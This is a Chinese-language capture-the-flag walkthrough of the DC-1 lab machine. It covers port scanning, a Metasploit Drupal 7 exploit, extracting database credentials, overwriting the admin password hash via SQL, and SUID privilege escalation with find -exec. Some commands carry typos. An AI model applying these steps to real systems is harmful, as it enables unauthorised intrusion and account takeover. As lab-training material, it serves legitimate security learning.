DC-1
关于环境的搭建 , 大家可以自行百度
网络桥接
渗透机 kali
靶机 dc-1
0x01. 信息收集
1. 查看当前网段
2. 扫描存活主机 , 确定靶机ip
补充 : 建议kali和靶机使用nat , 在一个网段里 , 这样好找一点
3. 扫描ip开放的端口 , 全端口
masscan -p0-65535 192.168.0.119 --banner --rate=1000
开放的有80端口 , 估计是有web服务 , 访问一下
发现是水滴搭建的 , 国外三大开源的cms , drupal wordpress joomla , 那简单啦 , 下一步识别版本号 , 然后找对应的exp
0x02. 漏洞发现&利用
kali自带的msf有关于水滴7版本的exp , 尝试利用
进入msf , 搜索模块
search durpal
use 4 (试了好几个exp,还是4好用)
set rhosts 192.1658.0.119
run
shell (进入命令行操作界面,非交互式)
python -c 'import pty;pty.spawn("/bin/bash")'
发现第一个flag1.txt
打印查看具体信息
www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
看来是让我们找配置文件
在默认的目录下找到配置文件 settings.php , 也可以直接搜索
flag2提示我们关于暴力破解不一定是最好的选择 , 然后又说了获取权限 , 那么关于网站的权限获取 , 肯定是管理员啦 , 看到下面有数据库信息 , 通过数据库找到网站管理员的账号和密码
本地连接数据库
mysql -h localhost -u dbuser -p
R0ck3t
show databases;
use durpaldb;
show tables;
select * from users;
找到了admin的信息 , 但是密码是加密的 , 通过百度durpal密码得知加密脚本在script下面
忘记了Druapl7的密码,该如何解决?
答:
方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。
方法二:这是drupal提供的最原生的方法
在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:
php scripts/password-hash.sh admin
这里使用第二种方法替换 , 来到网站根目录下
php scripts/password-hash.sh admin
password: admin hash: $S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ
接着就是update更新
update drupaldb.users set pass="$S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ" where name="admin";
使用替换后的密码登进后台 , 拿到flag3
通过翻译得知 , 当前权限不能够查看etc/shadow文件 , 需要我们提权了?
既然没有明显的提示我们就直接搜索flag
find / -type f -name "*flag*"
www-data@DC-1:/home/flag4$ cat flag4.txtcat flag4.txtCan you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy. Or maybe it is?
flag是在root下 , 那就要提权了
关于这个exp , 你可以直接在msf中直接搜索 , 尝试, 如果有最好 , 没有的话就用网上的exp
我知道这是靶机 , 很多人实战都是卡在这个漏洞的发现和利用 , 别着急 , 慢慢来
0x03. 提权
关于linux提权的方式也很多 , 这里尝试使用suid提权
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
说人话 : 就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。
查找suid文件
find / -perm -u=s -type f 2>/dev/null/表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件-type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件2表示该进程的第二个文件描述符,即stderr(标准错误)>表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。其他查找命令find / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
我们这里就用find命令提权
cd /tmpmkdir aaafind aaa -exec whoami \;获取最后的flagfind test -exec cat /root/thefinalflag.txt \;
www-data@DC-1:/tmp$ find test -exec cat /root/thefinalflag.txt \;find test -exec cat /root/thefinalflag.txt \;Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
nice
0x04. 编写报告
0x05. 清除数据
就是那个网站管理员的密码 , 涉及到改写数据最后先备份一份原来的